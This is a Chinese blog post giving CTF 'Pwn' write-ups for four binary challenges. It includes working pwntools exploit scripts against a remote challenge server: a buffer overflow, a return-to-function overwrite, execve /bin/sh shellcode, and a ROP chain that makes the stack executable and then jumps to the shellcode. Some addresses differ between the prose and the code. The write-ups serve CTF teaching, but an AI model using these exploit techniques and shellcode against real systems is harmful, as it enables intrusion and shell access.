欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

Pwn

程序员文章站 2024-01-20 09:32:34
...

Pwn1

拿到程序IDA分析

Pwn

发现就是一个输入字符串,长度大于0x500就直接执行cat flag。虽然溢出了,但是和溢出没有太大关系

所以利用代码如下:

from pwn import *
p = remote ("139.224.220.67" ,30004)
payload = 'a'*0x501
p.sendline(payload)
p.interactive()

Pwn


Pwn2

打开IDA分析,是一个经典的栈溢出,scanf输入的时候并没有对长度进行限制,因此可以一直覆盖到返回地址

那么我们可以把返回地址覆盖为题目中给出的getflag函数即可。

Pwn

Pwn

所以利用代码如下:

from pwn import *
p = remote ("139.224.220.67" ,30006)
e=ELF("chall")
payload = 'a'*0x108
payload += 'a'*0x4
payload += p32(e.symbols['getflag'])
p.sendline(payload)
p.interactive()


Pwn

Pwn3

IDA分析一下

Pwn

发现就是分配了一块内存,地址为0xdeadb000,然后从输入流读入数据到该地址,然后执行该地址的内容。

即程序会执行我们输入的机器码。所以,直接在https://www.exploit-db.com/找到一个shellcode发送过去即可。

代码如下:

from pwn import *
p = remote ("139.224.220.67" ,30007)

shellcode ="\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"


p.sendline(shellcode)
p.interactive()

Pwn


Pwn4

比较复杂地一道题目。

         首先用IDA分析发现,没有了常见的红色区域,红色区域标志着是调用的外部函数,采用的动态链接的方式调用。所以该题应该是把所有使用到的函数都编译到了程序里面。


Pwn                                               Pwn

然后把可执行文件拖到虚拟机中checksec一下。

Pwn

发现是32位程序,保护机制只开启了栈执行保护。

接着找漏洞

程序的逻辑比较简单,main函数调用fun函数,fun函数执行了一个read,向v1的空间中最多读入256个字符,然而v1距离ebp只有9个字节。因此可以覆盖到返回地址,控制程序流程。

Pwn

既然程序是静态编译,我们首先想到的是在程序中的函数中找有没有system函数或者execve函数。在IDA中直接按名称查找。

Pwn    Pwn

显然没有找到这种函数。

但是偶然发现了一个_dl_make_stack_executable函数。按照意思是可以将栈变为可执行,那么我们就可以直接在栈上布置shellcode然后执行了。搜索了一下,发现确实可以使用这个函数使得栈变得可执行,步骤如下:

(1)将_stack_prot的值改为0x7

(2)将libc_stack_end的地址赋给eax

(3)调用_dl_make_stack_executable函数

所以我们的思路就有了。首先做以上三步,将栈变为可执行。然后布置shellcode。

第一步:将_stack_prot的值改为0x7。

    在IDA中搜索字符串"_stack_prot"

Pwn

然后点击__stack_prot即可得到__stack_prot的地址:

Pwn

即第一步需要将0x80e9fec地址处的值改为7。

可以使用read函数,从输入流中向该地址读取数据,这样我们只要发送一个7过去就可以将其改成7了。

即调用read(0,0x80e9fe4,0x4)

首先在IDA中找到read函数的地址为0x806d270

read = 0x806d270

Pwn

所以第一步的rop链按照如下方法构造

rop='a'*0x9  //距离ebp 9个字节

rop+= 'a'*0x4//覆盖ebp

rop+= p32(read)//覆盖返回地址

rop+=p32(ppp_ret) //pop pop pop ret的地址,用于执行read之后返回,从而将参数弹空

rop+=p32(0)+p32(stack_prot)+p32(4)//read函数的参数

这时候要注意了,我们还需要后续继续控制执行流程,因此需要将三个参数pop出去,所以在read函数执行完之后的返回地址,我们将其覆盖为pop pop pop ret的地址。这种类型的指令块我们一般叫gadget。

找到gadget可以使用如下命令:

ROPgadget --binary rop --only  "pop|ret"

Pwn

然后从中随便选取一个三个pop 后ret的即可   比如:0x08062d3b : pop edi ; pop esi ; pop ebx ; ret

第二步:将libc_stack_end的地址给eax

IDA查看libc_stack_end的地址,发现是0x80e9fc8

Pwn

所以只需要将0x80e9fc8赋值给eax,想到找pop eax,ret类型的gadget,就可以控制eax了。

结合上一步中寻找gadget的命令使用如下命令:

ROPgadget --binary rop --only "pop|ret"|grep "pop eax"

Pwn

可以发现0x80b7e56处的指令很符合我们的需求。

所以rop的第二步如下构造:

rop+=pop_eax_ret //gadget的地址

rop+=libc_stack_end //想要赋给eax的值,也就是libc_stack_end的地址,为0x80e9fc8

第三步:调用_dl_make_stack_executable,所以rop继续如此构造

rop+= _dl_make_stack_executable  //_dl_make_stack_executable函数的地址

Pwn

到此我们已经成功让栈变得可以执行了。下面就是针对没有栈执行保护的系统的栈溢出攻击了。

在www.exploit-db.com上找到一个shellcode:

shellcode ="\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"

然后需要寻找一个jmp esp或者call esp的地址。

Pwn

我们这次选择了 call esp,即下面的0x88c92b0

所以最后一步的rop构造:

rop+=call_esp 

rop += shellcode 

最后总的代码如下:

from pwn import *
# p=process("rop")
p = remote("139.224.220.67" ,30002)

# gdb.attach(p,"b *0x804889a")


call_esp =0x080c92b0

stack_prot = 0x80E9FEC
__libc_stack_end = 0x80e9fc8
_dl_make_stack_executable=0x8099DD0
read = 0x806d270

ppp_ret=0x08062d3b
peax_ret=0x080b7e56

shellcode ="\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"


rop = 'a'*0x9 + 'a'*0x4 + p32(read) + p32(ppp_ret) + p32(0)+p32(stack_prot)+p32(0x4)
rop += p32(peax_ret)+p32(__libc_stack_end)+p32(_dl_make_stack_executable)
rop += p32(call_esp)+shellcode
p.sendline(rop)
p.sendline(p32(7))
p.interactive()


# 0x080c92b0 : call esp

# 0x080b7e56 : pop eax ; ret

# 0x08062d3b : pop edi ; pop esi ; pop ebx ; ret
Pwn